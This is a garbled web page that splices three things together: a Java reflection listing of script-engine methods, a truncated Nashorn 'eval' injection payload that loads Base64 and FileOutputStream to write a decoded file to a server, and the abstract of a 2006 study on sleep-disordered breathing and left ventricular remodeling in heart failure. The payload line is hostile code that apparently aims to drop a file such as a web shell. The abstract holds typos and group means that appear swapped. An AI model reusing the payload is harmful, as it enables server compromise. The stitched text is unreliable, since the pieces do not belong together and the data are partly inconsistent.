public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (04): 486-489.

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Sleep-disordered breathing and left ventricular remodeling in patients with chronic heart failure

SHEN Qian-bo, XU Ding-li, LIN Sheng, LAI Wen-yan Department of Cardiology, Nanfang Hospital, Southern Medical University, Guangzhou 510515, China   

  1. 南方医科大学南方医院心内科； 南方医科大学南方医院心内科 广东 广州 510515； 广东 广州 510515；
  • Online:2006-04-20 Published:2006-04-20

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Abstract: Objective The investigate the prevalence of sleep-disordered breathing (SDB) and evaluate its impact on left ventricular remodeling in adult patients with chronic heart failure (CHF). Methods Ambulatory sleep recording for 8 hwas performed using Embletta PDS (Medcare, Iceland) in 74 patients with CHF, and the left ventricular ejection fraction (LVEF), internal end-diastolic diameter (LVIDd) and left ventricular wass weight (LVMW) were measured using M-mode and two-dimensional echocardiography. Results The incidence of SDB defined as an apnea-hypopnea index (AHI, namely the number of apnea-hypopnea events per hour during sleep) no less than 10 was 62.16% in these CHF patients (77.78% in male and 37.93% in female patients). Of the 74 patients 31.1% had mainly obstructive sleep apnea (OSA) and 17.6% had central sleep apnea (CSA). There was a moderate inverse correlation between LVEF and AHI (P=0.004, r=-0.366). LVIDd in patients with CHF and SDB was significantly greater than that in patients with isolated CHF (46.67±7.29 vs 55.70±11.87 mm, P=0.001). The left ventricular myocardial weight was also greater in patients with CHF and SDB than in patients with isolated CHF (208.58±64.19 vs 291.03±121.54, P=0.001). Conclusion Our results suggest a higher prevalence of SDB in patients with CHF than in general population, and the prevalence is even higher in patients with severe CHF in relation to left ventricular remodeling. SDB contributes to the progression of CHF and further cardiac decline by a vicious cycle.

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